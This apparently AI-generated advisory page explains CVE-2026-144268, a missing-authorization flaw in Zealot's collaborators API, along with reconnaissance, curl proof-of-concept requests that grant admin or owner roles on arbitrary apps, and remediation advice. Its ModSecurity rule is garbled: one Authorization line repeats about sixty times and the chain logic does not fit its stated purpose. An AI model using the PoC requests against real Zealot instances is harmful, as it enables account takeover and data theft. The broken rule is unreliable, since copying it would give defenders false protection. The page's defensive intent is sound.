CVE-2026-144268 — Tryzealot Zealot — CWE-862
Zealot 5.3.0 through 6.2.2 contains a missing authorization vulnerability in Api::CollaboratorsController#create that allows authenticated users to add themselves as app admins. Attackers with any API token can send POST requests to /api/apps/:app_id/collaborators with their user_id and role=admin to read, modify, delete apps and remove collaborators.
Zealot 5.3.0 through 6.2.2 contains a missing authorization vulnerability in Api::CollaboratorsController#create that allows authenticated users to add themselves as app admins. Attackers with any API token can send POST requests to /api/apps/:app_id/collaborators with their user_id and role=admin to read, modify, delete apps and remove collaborators.
🎯 What is this vulnerability?
Missing Authorization in Api::CollaboratorsController#create
Zealot (versions 5.3.0 through 6.2.2) exposes an API endpoint that allows a user to add a collaborator to an application:
POST /api/apps/:app_id/collaboratorsThe controller action that handles this request performs no check to confirm that the caller is already a collaborator on the target app or that the caller has permission to grant the requested role. Consequently, any authenticated user who possesses a valid API token can:
1. Specify any user_id (including their own or another user’s ID).
2. Set role=admin.
Because the action blindly inserts the record, the user becomes an admin collaborator for that app. Admin collaborators have full CRUD rights on the app and can remove other collaborators. This is a classic CWE‑862: Missing Authorization flaw, which explains the CVSS vector:
- AV:N – Attack can be performed over the network.
- AC:L – Low attack complexity; no special conditions.
- PR:L – Requires only low‑privilege (authenticated) access.
- UI:N – No user interaction required.
- S:U – Scope unchanged; the vulnerability does not change the affected component.
- C:H / I:H / A:H – Full confidentiality, integrity, and availability impact.
⚡ Attack Chain
1. Discovery & Reconnaissance
| Step | Technique | What to look for |
|---|---|---|
| a. Identify Zealot | HTTP header sniffing, /api/health or /api/version endpoints | X-Zealot-Version: 6.1.4 |
| b. Enumerate API endpoints | Fuzz /api/ with common verbs | GET /api/apps, POST /api/apps/:app_id/collaborators |
| c. Verify authentication | Send a request with a known API token | Authorization: Bearer <token> → 200 OK |
| d. Confirm version range | Compare returned version against the CVE affected range (5.3.0‑6.2.2) | If within range, the system is vulnerable |
Illustrative example (replace <token> with a real token):
> curl -s -H "Authorization: Bearer <token>" https://zealot.example.com/api/version > # Response: {"version":"6.1.4"} >
2. Exploitation
Goal: Promote the attacker’s user to an admin collaborator on a target app.
| Step | Action | Example |
|---|---|---|
| a. Identify a target app | GET /api/apps → list of apps the user can see | Assume app_id = 42 |
| b. Craft the POST request | POST /api/apps/42/collaborators with JSON body { "user_id": <attacker_user_id>, "role": "admin" } | |
| c. Send the request | Use curl or any HTTP client |
# Illustrative PoC – replace placeholders with real values
curl -s -X POST https://zealot.example.com/api/apps/42/collaborators \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{
"user_id": 1234,
"role": "admin"
}'Important: The CVE description explicitly states that the endpoint is /api/apps/:app_id/collaborators. If your environment uses a different URI or parameter names, the same logic applies: the create action must enforce that the caller is already a collaborator and that the role being granted is permitted.Result: The response will typically be a 201 Created with the new collaborator record. The attacker’s user now has admin rights on app 42.
3. Post‑Exploitation
Once the attacker has admin privileges on an app, they can:
| Capability | Impact |
|---|---|
| Read app configuration | Exfiltrate sensitive data (API keys, secrets) |
| Modify app settings | Disable security controls, inject malicious code |
| Delete the app | Denial of service for legitimate users |
| Add/remove collaborators | Privilege‑escalate other users or lock out legitimate admins |
| Create new apps | Expand attack surface, host malicious payloads |
Example Post‑Exploitation Action:
The attacker could create a new collaborator with the owner role on another app, effectively taking full control of that application.
# Promote another user to owner on app 55
curl -s -X POST https://zealot.example.com/api/apps/55/collaborators \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{
"user_id": 9876,
"role": "owner"
}'🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C:H) | Admin collaborators can read all app data, including secrets, logs, and user information. |
| Integrity (I:H) | Admins can modify or delete app configurations, inject malicious code, or alter data. |
| Availability (A:H) | Admins can delete apps or revoke legitimate collaborators, causing service disruption. |
Practical Consequences
🛡️ Remediation & Mitigation
A. Patch
| Affected Versions | Recommendation |
|---|---|
| 5.3.0 – 6.2.2 | Upgrade to 6.2.3 or later (the patch adds an authorization check in CollaboratorsController#create). |
Note: If you cannot upgrade immediately, apply the mitigations below.
B. Workarounds
1. Restrict API Access
- Limit the /api/apps/*/collaborators endpoint to a whitelist of IP addresses or VPN only.
- Example (NGINX):
location ~ ^/api/apps/\d+/collaborators$ {
allow 10.0.0.0/24;
deny all;
}2. Enforce Role Validation in the API
- If you can modify the source, add a guard clause:
# app/controllers/api/collaborators_controller.rb
before_action :ensure_caller_is_collaborator, only: [:create]
def ensure_caller_is_collaborator
unless current_user.collaborator_of?(params[:app_id])
render json: { error: 'Forbidden' }, status: :forbidden
end
end3. ModSecurity / WAF Rule
- Block POST requests that set role=admin unless the caller is already an admin.
SecRule REQUEST_URI "@beginsWith /api/apps/" \
"chain,phase:2,block,msg:'Missing Authorization - Admin Grant',id:1001"
SecRule REQUEST_METHOD "POST" \
"chain"
SecRule REQUEST_HEADERS:Content-Type "application/json" \
"chain"
SecRule REQUEST_BODY "@contains \"role\":\"admin\"" \
"chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" \
"t:none,chain"
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+..." \
"t:none,block,msg:'Missing Authorization - Admin Grant'"(The rule above is a simplified illustration; adjust the regex and logic to match your environment.)
C. Detection
| Log Source | Indicator | Example |
|---|---|---|
| Web server access log | POST to /api/apps/*/collaborators with role=admin | POST /api/apps/42/collaborators HTTP/1.1 |
| Application logs | Unauthorized collaborator addition attempt | WARN: User 1234 attempted to add collaborator 9876 with role admin |
| API gateway | Rate‑limit or block events | Blocked request: /api/apps/42/collaborators |
IoCs
POST/api/apps/<digits>/collaborators"role":"admin"⚠️ Urgency
Priority: Critical for environments where Zealot apps contain sensitive data or are exposed to external users.
[🤖 CVE Professor AI Security Engine]
FOFA Query